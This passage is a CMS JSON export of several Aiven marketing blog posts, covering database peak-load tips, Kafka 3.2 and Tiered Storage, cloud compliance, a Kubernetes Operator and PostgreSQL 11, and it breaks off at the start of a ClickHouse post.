\n\nLet’s have a look at what you can do if your services are about to get steamrollered.\n## 1. Take some downtime\nNo, this doesn’t mean escape to the beach or hide in a closet. \n\nIf you’ve left upgrading your plan too late, or if even the new plan isn’t enough to handle the traffic, you can bite the bullet and make modifications. Cut writes from your application code to reduce load on the existing nodes to help the node replacement complete faster. To do this, you need to take your services offline for a while, so it’s obviously not ideal.\n## 2. Make more disk space available\nWhen the disk is getting full, the first thing to go are backups because left to its own devices, your system will just keep writing in new data. As far as Aiven services are concerned, many of them will stop accepting writes when the disk is almost full precisely to make sure that there’s always enough disk space to take backups. \n\nYou can always delete some data to make space for new writes, but that’s rather like putting a band-aid on a burn--sure it helps, but you still need to get it seen to. We highly recommend upgrading your plan so that you don’t lose data at peak loads.\n## 3. Add processing power\nMake sure that you have enough CPU power to handle the increased load. Keep monitoring your load average and make sure that it stays below the number of CPUs available on your service plan.\n\nIf the [load average](https://en.wikipedia.org/wiki/Load_(computing) \"Wikipedia article on *load*\") gets too high, you can try and track down the cause from your monitoring software and resolve it. But if time is of the essence, you can temporarily add more CPUs by upgrading your plan.\n## 4. Create more database connections\nAs your application scales horizontally to accommodate increased traffic, it will usually also consume more database connections. Check the service specific documentation for the connection limits that apply to you.\n\nIf you’re running Postgres, you can use transaction or statement level connection pooling to accommodate more connections. For everyone else, though, the easiest way out is, again, to upgrade your plan to set up more connections.\n## 5. Speed up queries\nIf you are using [Postgres](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [MySQL](https://aiven.io/mysql \"Aiven for MySQL\"), inefficient queries can consume CPU time and memory unnecessarily. This time, you’ll be surprised to learn that although upgrading your plan might help, it’s often not enough to solve the issue. \n\nOne good way to speed up your queries is to create new indexes. First, go find the longest running or most frequent queries; in Aiven Console this is easy to do by sorting the columns in the Query Statistics table. Then you can run EXPLAIN queries to see if any new indexes need to be created.\n\nIf you’re an Aiven for Postgres user on a Business or Premium plan, you have a HA setup with standby nodes. You can run read-only queries directly on these standby nodes to reduce the impact of slow queries on the primary node.\n## +1: Get a better support contract\nAll Aiven customers have access to Basic support using the chat widget in the Aiven Console and the help pages. However, when Black Friday rolls around, it’s a good time to re-evaluate your support contract. You want to make sure that if things do go haywire, you won’t be alone in front of your monitor trying to solve impossible problems. \n\nTo get started on upgrading your support, contact your account manager or send an e-mail to [sales@aiven.io](mailto:sales@aiven.io) and we’ll take it from there.\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-34f533728f453092988b6565ac3d17fc62c5f92d-1567x844-png","_type":"reference"}},"publishedAt":"2020-11-25T00:00:00.000Z","seo":{"metaDescription":"Black Friday is THE peak load time of the year, the great holiday of the retail world. Find out what to do if your services start to overload.","metaImage":{"alt":"","asset":{"_ref":"image-34f533728f453092988b6565ac3d17fc62c5f92d-1567x844-png","_type":"reference"}},"metaTitle":"How to avoid high-load disasters in managed database services"},"slug":{"_type":"slug","current":"/blog/5-1-ways-to-avoid-high-load-disaster"},"subtitle":"Black Friday is THE peak load time of the year, the great holiday of the retail world. Find out what to do if your services start to overload.","title":"How to avoid high-load disasters in managed database services"} {"__i18n_lang":"en","_createdAt":"2022-09-09T07:47:22Z","_id":"46a1a625-aaa6-4bc5-9a79-c2e6af4d2504","_rev":"j5OhKGUVbND2aFEj9l9zXC","_type":"post","_updatedAt":"2022-11-09T10:08:02Z","authors":[{"_key":"713c846ed748","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"## What’s new in Apache Kafka 3.2\n\nThe release of Apache Kafka 3.2 brings numerous improvements and bug fixes (you can read about them all in the [release notes](https://archive.apache.org/dist/kafka/3.2.0/RELEASE_NOTES.html \"Release Notes - Kafka - Version 3.2.0\")). \n\nAt Aiven, we're especially pleased to see how version 3.2 brings us a step closer to switching to self-managed metadata quorum based on KRaft.\n\nHere are some of our top highlights in version 3.2:\n\n## Standard Authorizer\n\n[KIP-801: Implement an Authorizer that stores metadata in _cluster_metadata](https://cwiki.apache.org/confluence/display/KAFKA/KIP-801%3A+Implement+an+Authorizer+that+stores+metadata+in+__cluster_metadata \"KIP-801 | Confluence\")\n\nThe Standard Authorizer is a built-in Authorizer for KRaft mode that does not depend on ZooKeeper. It's an important step in further removing ZooKeeper dependencies from Apache Kafka.\n\nAt Aiven we use our own [fully open-source authoriser](https://github.com/aiven/auth-for-apache-kafka) which is already KRaft-ready.\n\n## New leader recovery state\n\n[KIP-704: Send a hint to the partition leader to recover the partition](https://cwiki.apache.org/confluence/display/KAFKA/KIP-704%3A+Send+a+hint+to+the+partition+leader+to+recover+the+partition \"KIP-704:| Confluence\")\n\nAllows the controller to indicate to the newly elected topic partition leader whether it was selected using an “unclean leader election”. This process could be used, for example, in cases when transaction status is inconsistent. It helps in coordinating cluster recovery.\n\n## List all connectors\n\n[KIP-769: Connect APIs to list all connector plugins and retrieve their configuration definitions](https://cwiki.apache.org/confluence/display/KAFKA/KIP-769%3A+Connect+APIs+to+list+all+connector+plugins+and+retrieve+their+configuration+definitions \"KIP-769 | Confluence\")\n\nConnect APIs are now able to list all connector plugins. This allows users to list all available connectors without needing to know the Connect runtime set-up. There’s also an additional endpoint that returns the configs of a specific connector plugin.\n\n## How to get started with Aiven for Apache Kafka 3.2\nYou can either launch a brand new cluster in [Aiven console](https://console.aiven.io/ \"Aiven console\") or conduct a no-downtime upgrade to the latest version.\n\nTo find out more about upgrade paths and get answers to any questions, check out [the release notes for the project itself](https://archive.apache.org/dist/kafka/3.2.0/RELEASE_NOTES.html).\n\n## Wrapping up\nTo find out more about Apache Kafka, take a look at our post [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka \"A brief introduction to Apache Kafka\").\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Start a free trial\")!\n\nIn the meantime, make sure you follow our changelog and blog RSS feeds or our LinkedIn and Twitter accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"363db6b0c915","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"4a01985c7a33","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1cb4c8e313f8","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688-png","_type":"reference"}},"publishedAt":"2022-08-03T07:42:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven now supports the newly released Apache Kafka version 3.2, which comes with a number of enhancements. Read on to find out what it means for you.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 3.2"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-3.2"},"subtitle":"Aiven now supports the newly released Apache Kafka version 3.2, which comes with a number of enhancements. Read on to find out what it means for you.","title":"Aiven supports Apache Kafka® 3.2"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4VOnZBlI7irStOfihS2uKr","_rev":"4xxJDWP8Sw6o7zBrUAiKvL","_type":"post","_updatedAt":"2023-08-03T10:37:06Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Corporations are increasingly including cloud services in their data architecture, [says Gartner](https://www.gartner.com/en/newsroom/press-releases/2020-11-17-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-grow-18-percent-in-2021 \"Link to Gartner press release about worldwide cloud service adoption\"). As well they should. Compared to proprietary on-premises systems, cloud services are more easily scalable, reliably available and reasonably priced. \n\nThe concern that the IT community has felt over cloud data security is fading, too. In the care of full-time security professionals, the data security of cloud environments is often better than their in-house counterparts. \n\nBut there is one set of companies whose cloud adoption lags behind. Companies in regulated industries face an interesting conundrum. The companies themselves may be well aware that a cloud service is secure. If they’re lucky, even their customers may understand this to be the case. \n\nBut how can they convince regulatory bodies that customer data is safe and being handled appropriately throughout its lifecycle, even if it takes a spin through the cloud layer?\n## The role of standards and compliance\nLots of industries have their own standards that define how to store and handle data related to their field. They ensure that data is not at risk of being accessed or manipulated in a way that hurts those who provided that data or are represented in it. \n\nThis is done through a shared set of best practices and defining the minimum level of data security. In short, the fact that Company, Inc. is awarded a certificate of compliance tells the regulators and the general public that Company, Inc.’s practices are secure.\n\nIf Company, Inc. now purchases cloud services, the issue starts getting… well, clouded. The company is at risk of voiding their certification if the practices of their cloud service provider don’t live up to the standard. Purchasing companies are therefore very careful in selecting providers. At the same time, they’re not keen to spend time and money auditing other companies themselves.\n\nHere’s where the importance of certification for cloud providers comes in. If the CSP can bring their own certification to the table, Company Inc.’s purchasing decision becomes much easier. They instantly know what they can expect, and can continue to assure their own customers that their services continue to be compliant.\n\nFor the CSP, the process of getting certified may feel like a drag. You may figure that if a customer wants a piece of paper signed, they should be the ones to jump through the hoops to get it.\n## Certs, please!\nAt Aiven, we have a different approach. We’re more “give us _all_ the certs”! [We maintain compliance in all major data regulations and are ISO 27001 certified](https://aiven.io/security-compliance \"Aiven's security compliance page\").\n\nCertainly part of the reason we do this is that it’s easy to use the standards to communicate the level of our security. A bigger part is that it helps our customers to ensure that they stay compliant where it comes to the services they provide for their own users. \n\nBut there’s a third reason. We care about your data. We want to keep it safe. And compliance with the relevant standards means we don’t have to do all that work of figuring out what could go wrong. The work is already done, in the requirements that have to be met for compliance. Certification isn’t the point, and compliance isn’t the point. \n\nThe point is to provide a secure, high-quality environment to store your data. Compliance with security standards is one of the tools we use to achieve that.\n\n### P.S. That’s not enough…\nWe’d be remiss if we didn’t remind you at this point that it’s not enough to be compliant. Responsibility for data security lies with all parties involved. Data is only as protected as the weakest link in the chainmail allows.\n### P.P.S. Further reading\nIf you're interested in how Aiven actually implements security, [read our Help article](https://help.aiven.io/en/articles/977466-cloud-security-overview \"Cloud security overview\") on the topic.\n## Wrapping up\nAs a customer, even if you're not working in a regulated industry, but especially if you are, require compliance with data security standards from your cloud service providers. This protects your users and makes your life easier. And as a CSP, get compliant! Following rigorous standards of data security benefits everyone.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-07T00:00:00.000Z","seo":{"metaDescription":"Aiven’s long list of security standard compliances is an advantage to our customers. Find out how cloud service buyers and providers both benefit.","metaImage":{"alt":"","asset":{"_ref":"image-80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844-png","_type":"reference"}},"metaTitle":"Data security compliance in the cloud"},"slug":{"_type":"slug","current":"/blog/data-security-compliance-in-the-cloud"},"subtitle":"Aiven’s long list of security standard compliances is an advantage to our customers. Find out how cloud service buyers and providers both benefit.","title":"Data security compliance in the cloud"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4RgEkiQnfWu9GYeHWPi7j6","_rev":"4xxJDWP8Sw6o7zBrU9ylEn","_type":"post","_updatedAt":"2023-06-14T10:04:32Z","authors":[{"_key":"7jvTwkcIsfjUdBxnDaw00U","_ref":"7jvTwkcIsfjUdBxnDaw00U","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"If you've been wondering if you can manage Aiven services with Kubernetes, wonder no more - we've launched a Kubernetes Operator for just that purpose!\n\n[Kubernetes](https://kubernetes.io \"Kubernetes project main page\") is a popular open source tool for managing and orchestrating container based applications. You can use it to automate the deployment, scaling and management of your platform and applications. \n\nWhen using Kubernetes, you define a desired state for the system and leave it up to Kubernetes to reach and maintain that state. Kubernetes also includes the ability to extend the automation capabilities of the system to include new services and applications. One way to create such extensions is in the form of [Kubernetes Operators](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ \"Kubernetes Operators explained\"). \n\nBecause of its robust history and unparalleled flexibility, Kubernetes is a widespread service orchestration tool, supported by all major cloud providers and developed by an active community.\n\n## A new way to manage your Aiven services\nSo - what can you do with your your [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") and [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") services on Kubernetes? The Aiven Operator for Kubernetes offers access to all the same operations as our public REST API. At the same time, it lets you manage your Aiven infrastructure using Kubernetes tooling. It also supports Aiven native resources, like Aiven Projects and Aiven VPCs.\n\nWith the Aiven Operator for Kubernetes, we want to support you in building and deploying modern software applications quickly and efficiently. Our managed services become a seamless part of your day-to-day data operations, usable through the standard tooling you are familiar with.\n## Start using the Aiven Kubernetes Operator\nYou can get the Aiven Kubernetes Operator [on the project page in GitHub](https://aiven.github.io/aiven-operator/ \"Aiven Operator for Kubernetes project page\") - follow the instructions to install it and get started.\n\n## Wrapping up\nThe centralized access provided by the Aiven Operator for Kubernetes brings more focus to your database administration work. Go and check it out today!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"2q1kxdEuQtJX4PDTtjnfGe","_ref":"2q1kxdEuQtJX4PDTtjnfGe","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844-png","_type":"reference"}},"publishedAt":"2021-09-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven now offers a Kubernetes Operator for some Aiven services. Find out how you can use it to manage your whole service stack.","metaImage":{"alt":"","asset":{"_ref":"image-74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844-png","_type":"reference"}},"metaTitle":"Aiven adds Kubernetes Operator for PostgreSQL and Kafka"},"slug":{"_type":"slug","current":"/blog/aiven-launches-kubernetes-operator-support-for-postgresql-and-apache-kafka"},"subtitle":"Aiven now offers a Kubernetes Operator for some Aiven services. Find out how you can use it to manage your whole service stack.","title":"Aiven launches Kubernetes Operator support for PostgreSQL® and Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3MzPdya5bNv78u9lue1cL8","_rev":"7XVZ09pFVUXWSWXVXIxVuu","_type":"post","_updatedAt":"2023-08-21T21:06:52Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Last October, we were the [first to offer PostgreSQL 10 for production environments](https://aiven.io/blog/aiven-is-first-to-offer-postgresql-10). __This November,__ we are proud to announce that our users are the first to gain access to PostgreSQL 11.\n\nAs with all major releases, PostgreSQL 11 includes bug fixes and is full of performance changes; but, if there were a theme to this latest release, it would center around improved handling of large-scale data.\n\nIn this post, we’ll take a look at some of the more noteworthy improvements around partitioning and queries, and how they make Postgres even more powerful for use cases with large data sets.\n\n## Noteworthy updates to PostgreSQL 11\n\n### 1. Improved partitioning\n\nPartition elimination has been greatly enhanced, providing even quicker access to tables with multiple partitions and opening it up to query execution. Additionally, some tasks are now automated, such as updated rows moving to new partitions based on the row contents.\n\n### 2. Parallel queries\n\nPostgreSQL 11 comes with many improvements to parallelization, including what can be parallelized and parallel worker configuration. For example, you can now build btree indexes in parallel and parallelize certain queries.\n\n### 3. Just-in-Time compilation\n\nA powerful way to increase the execution speed through making some expressions into natively executed functions by the CPU, Just-in-Time compilation has been expanded to include support for additional SQL code and parts of query plans.\n\n## Wrapping up\n\nPostgreSQL 11 continues to improve PG’s scalability by improving partitioning and parallel queries, and expanding Just-in-Time compilation. These improvements will result in greater speed and resource management.\n\nCoupled with Aiven features like local SSDs, Aiven users will get even greater performance from PostgreSQL 11. If you’re an Aiven user, get the latest version by simply [performing an in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) within the console. Not an Aiven user?\n\n[Take our PostgreSQL as a Service for a complimentary, no-commitment spin](https://console.aiven.io/signup). In the meantime, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) to stay current with the latest news. Talk soon!\n\n\\* For a complete breakdown of PostgreSQL 11 improvements, [check out their release notes](https://www.postgresql.org/docs/devel/static/release-11.html).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-16d8ca4e1ad5b390d9479dfb54cb355e097a5cf0-725x405-png","_type":"reference"}},"publishedAt":"2018-11-05T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL 11 is now available on the Aiven platform. Read our latest post to find out what changes have been made to PG 11.","metaImage":{"alt":"","asset":{"_ref":"image-16d8ca4e1ad5b390d9479dfb54cb355e097a5cf0-725x405-png","_type":"reference"}},"metaTitle":"PostgreSQL® 11 now generally available on Aiven"},"slug":{"_type":"slug","current":"/blog/postgresql-11-now-generally-available-on-aiven"},"subtitle":"PostgreSQL 11 is now available on the Aiven platform. Read our latest post to find out what changes have been made to PG 11.","title":"PostgreSQL® 11 now generally available on Aiven"} {"__i18n_lang":"en","_createdAt":"2023-12-06T16:50:33Z","_id":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_rev":"neae7oL4y1FotDvvRL0QWE","_type":"post","_updatedAt":"2024-07-11T11:44:22Z","authors":[{"_key":"c46a1aab5a15","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"},{"_key":"7d7a3ef7582a","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"Apache Kafka® has established itself as the integral component of data architectures requiring to stream data or events in real time. At Aiven, we have seen our customers use Apache Kafka in an increasingly diverse range of use cases, handling larger and larger volumes of data. As a result, customers are often searching for cost effective ways to store large volumes of data in Apache Kafka, while at the same time ensuring their growing workloads remain stable and production-grade. \n\nTo address the challenges posed by supporting large scale data storage within data and event streaming systems, Aiven has worked with the Open Source Apache Kafka community to add support for Tiered Storage to Apache Kafka. Starting with its public preview in Kafka 3.6, Tiered Storage allows Kafka users to seamlessly store older, less frequently accessed data in lower cost storage. This allows for a dual-tier storage setup, where the local storage tier continues to be used for storing log segments on the Kafka broker nodes, and the remote storage tier uses cloud object storage such as Amazon S3, Azure Blob Storage, or Google Cloud Storage. This allows broker node storage to be reduced in size, saving money and also improving upgrade and migration performance by eliminating the need for large node-to-node data replication operations.\n\nWe are excited to offer customers the capability to substantially reduce storage costs in Apache Kafka today by releasing Tiered Storage for Aiven for Apache Kafka. Tiered Storage for Aiven for Apache Kafka is in early availability for existing and new customers using Kafka 3.6. \n\nIf you’re interested in experimenting with Tiered Storage for Aiven for Apache Kafka during the early availability period, please contact your Aiven account team. They will provide support and guidance to help you set it up for the Kafka topics of your choice. Services in Early Availability are in beta and Aiven does not recommend their use for production workloads. As with all services launched in Early Availability, the team at Aiven will be collecting feedback and monitoring the stability and performance of Tiered Storage for Aiven for Apache Kafka prior to announcing General Availability and support for production workloads in the imminent future.\n\n\n## How much could you save?\n\nAs an example, consider a retailer is preparing to handle increased data volumes during November and December driven by global retail shopping events – Singles Day, Black Friday and the holiday shopping season. The retailer is running an Aiven Business-4 Kafka service on the google-europe-central2 region and their forecast indicates that they need to add 990GB of disk storage. Using on-node storage, this would cost $859 USD per month. In comparison, with Tiered Storage for Aiven for Apache Kafka, the same capacity would cost only $85.50 USD per month - a 90% reduction in storage costs. In addition, the retailer’s technical team no longer needs to operate based on a forecast, with the risk of under or over provisioning their capacity needs.\n\n## Tiered Storage for Apache Kafka benefits\n\nWith Tiered Storage in Aiven for Apache Kafka, customers can benefit from:\n\n- **Limitless storage in Aiven for Apache Kafka:** Previously, Kafka was usually configured with a retention period (typically around days or a week) bounded by the local disk size. Data older than the retention time was either expired (deleted) or moved to a third-party system, often external storage, for long-term retention. In the first case, older data would be lost, and in the second, applications would need to support two entirely different retrieval mechanisms, depending on the age of the data. With Tiered Storage, Aiven for Apache Kafka becomes a comprehensive storage solution that effortlessly handles real-time and historical data, simplifying customers' application architecture and removing temporal limitations.\n\n- **Greater elasticity for Aiven for Apache Kafka clusters:** With all the data stored locally, any scaling or node replacement processes required the entire dataset to be copied from old to new nodes. This can result in time-consuming rebalancing for Kafka clusters. With Tiered Storage, replicating nodes only requires copying the data on the node itself. This means customers benefit from shorter upgrade times and quicker migration between cloud providers.\n\n- **Optimized cloud infrastructure costs:** With Tiered Storage for Apache Kafka, customers can decouple their computation from their data storage needs and achieve up to a 50% reduction in their Total Cost of Operation. Customers no longer need to add new Kafka nodes to allow greater data retention. They now only need to do so when they need greater horizontal scaling for performance or durability reasons.\n\n![Tiered Storage for Apache Kafka benefits](https://cdn.sanity.io/images/sczeoy4w/production/4a521c154180920af02478b26937bd67f14e6c16-1792x998.png?w=450)\n\n## Pricing \u0026 Availability\n\nTiered Storage pricing starts from $0.09 per GB/month, depending on the precise object storage system used. Costs for Tiered Storage are determined by the amount of remote storage used, measured in GB/hour, and will be confirmed when enabling Tiered Storage in the Aiven console. For a detailed explanation of Tiered Storage pricing please check the [documentation](https://aiven.io/docs/products/kafka/concepts/tiered-storage-how-it-works). Tiered Storage supports cloud storage services from all three hyperscalers – Amazon S3, Google Cloud Storage and Azure Blob Storage.\n\n## Tiered Storage in other Aiven services\n\nWe're working on adding tiered storage capabilities across our platform. Customers using [Aiven for Clickhouse®](https://aiven.io/clickhouse) might be interested in testing out Tiered Storage in their Clickhouse instances right now. Tiered Storage in Clickhouse is currently in limited availability, but you can [get in touch](https://aiven.io/contact) with our team today if you’re interested in early access.\n\n## How to enable Tiered Storage in Aiven for Apache Kafka\n\nTo enable Tiered Storage in Aiven for Apache Kafka for your non-production workloads, please contact your Aiven account team and request that they enable support for Tiered Storage for Avien for Apache Kafka. Once Tiered Storage is enabled, follow these steps:\n\n**[1]** Navigate to the [Aiven console](https://console.aiven.io/)\n\n**[2]** Access your ‘User Information’ from the top right-hand corner of the console\n\n![Access your ‘User Information’ from the top right-hand corner of the console](https://cdn.sanity.io/images/sczeoy4w/production/ae4611a54d17bf10c3854184f459c164c0c9d87d-1992x939.png?w=450)\n\n**[3]** Select ‘Feature preview’ from the drop-down menu\n\n![Select ‘Feature preview’ from the drop-down menu](https://cdn.sanity.io/images/sczeoy4w/production/668193666af2531c52ffb99d408194468b511729-1992x939.png?w=450)\n\n**[4]** In the ‘Feature Preview’ section click ‘Enable’ in the Aiven for Apache Kafka® tiered storage section\n\n![In the ‘Feature Preview’ section click ‘Enable’ in the Aiven for Apache Kafka® tiered storage section](https://cdn.sanity.io/images/sczeoy4w/production/ee227aed596f66879d1651ca8c06e4d465a5c49a-1999x1047.png?w=450)\n\n**[5]** Navigate back to the Aiven Console Home\n\n![Navigate back to the Aiven Console Home](https://cdn.sanity.io/images/sczeoy4w/production/493cea76289e94ac9807f56b956cda7e59c1cb08-1999x1047.png?w=450)\n\n**[6]** Create a new Kafka service, \n\n![Create a new Kafka service](https://cdn.sanity.io/images/sczeoy4w/production/8087fc1ef673e050ced7b134d6a379b7a447a0cc-1999x916.png?w=450)\n\n**[7]** Select Apache Kafka\n\n![Select Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/f3b122adc01a5ae369c2f77734c12256d735d017-2880x1516.png?w=450)\n\n\n**[8]** Select Kafka version 3.6 to be able to use Tiered Storage in Aiven for Apache Kafka:\n\n![Select Kafka version 3.6 to be able to use Tiered Storage in Aiven for Apache Kafka:](https://cdn.sanity.io/images/sczeoy4w/production/0f3051818b4262d9d0b9f02a1499b368b7b1abe0-1999x1047.png?w=450)\n\n**[9]** Select your cloud provider, service region, and service plan as normal\n\n**[10]** As you enabled the Tiered Storage feature preview, there is now an extra option to enable it for this new service. Once activated, the pricing for Tiered Storage is automatically shown in the right-hand column of the Aiven console.\n\n![Tiered Storage in Aiven for Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/9c4e88a739a5d8e0e668b3f839e56a0f311c09e0-1999x1047.png?w=450)\n\n**[11]** Click ‘Create Service’ and you are all set. \n\nOnce activated, deactivating Tiered Storage will cause any data in the cloud storage tier to be lost. To deactivate Tiered Storage while in Early Availability, you need to contact Aiven Support. \n\n___\n\nCustomers trying the feature today will be able to choose tiered data per topic in their Kafka instances and offload older data to Amazon S3, Google Cloud Storage or Azure Blob Storage. You can find out more about how Tiered Storage in Aiven for Apache Kafka works in the corresponding [documentation](https://aiven.io/docs/products/kafka/concepts/tiered-storage-how-it-works). \n\nIf you are new to Aiven, be sure to sign up for a [free trial](https://console.aiven.io/signup) and get first-hand experience using Tiered Storage in Aiven for Apache Kafka. Follow our [changelog](https://aiven.io/changelog) for the full list of updates on the Aiven platform and future additions to Tiered Storage in the months to come!\n\n\n## Further reading\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)\n","categories":[{"_key":"b3b9b957dfa0","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Apache Kafka, Kafka, Tiered Storage, Kafka Tiered Storage, Cloud Storage, Streaming Data, Aiven, Aiven for Apache Kafka","asset":{"_ref":"image-fc41b3817e02bc9221b38dd853466b9cc8032064-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-07T13:30:00.000Z","related":[{"_key":"c9ff6da19bf6","_ref":"28fdc694-77e0-4f97-9cfa-a31210ccf841","_type":"reference"},{"_key":"c9b2b111d8cf","_ref":"005ef164-918b-4dbb-962f-a3063bc4f8e5","_type":"reference"},{"_key":"b1b61ac415dd","_ref":"2dc31ac9-3761-40fd-bf1d-b48bff2f9435","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Tiered Storage for Apache Kafka® delivers an improved cost-to-performance ratio, increased operational flexibility, and greater scalability for customers","metaImage":{"_type":"mainImage","alt":"Apache Kafka, Kafka, Tiered Storage, Kafka Tiered Storage, Cloud Storage, Streaming Data, Aiven, Aiven for Apache Kafka","asset":{"_ref":"image-fc41b3817e02bc9221b38dd853466b9cc8032064-1200x628-png","_type":"reference"}},"metaTitle":"Introducing Tiered Storage for Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/introducing-tiered-storage-for-aiven-for-apache-kafka"},"subtitle":"Tiered Storage for Apache Kafka® delivers an improved cost-to-performance ratio, increased operational flexibility, and greater scalability for customers","title":"Introducing Tiered Storage for Aiven for Apache Kafka®: Unlocking Improved Cost-Efficiency and Scalability"} {"__i18n_lang":"en","_createdAt":"2023-01-23T07:57:22Z","_id":"c8901b43-32a7-4bce-9728-2f563c22aaa5","_rev":"BVM0UzymoPXcfHGeYlH68z","_type":"post","_updatedAt":"2024-08-09T10:41:53Z","authors":[{"_key":"a316fe187c92","_ref":"f1dd24db-accf-463c-bf14-fe82adbdf1ae","_type":"reference"}],"body":"Many companies are still using a general-purpose database for every project. Usually it's the easiest way to get up and running quickly. If you already have a lot of expertise in that database, why would you use something else? \n\nThe answer is performance. \n\nGeneralist RDBMs are built to be pretty good at everything -- that's what a generalist is. But today, we have more and more database technologies created for specific workloads and use cases. They are designed from the ground up to be extremely good at *one thing*. And when it comes to query performance, a general RDBM doesn't stand a chance.\n\nI'm going to demonstrate this with our new Aiven for ClickHouse database. And not just with some standard benchmarking tools - I'll test drive it with some real world data, something that can answer real questions that businesses might be interested in. \n\n## The dataset\nI 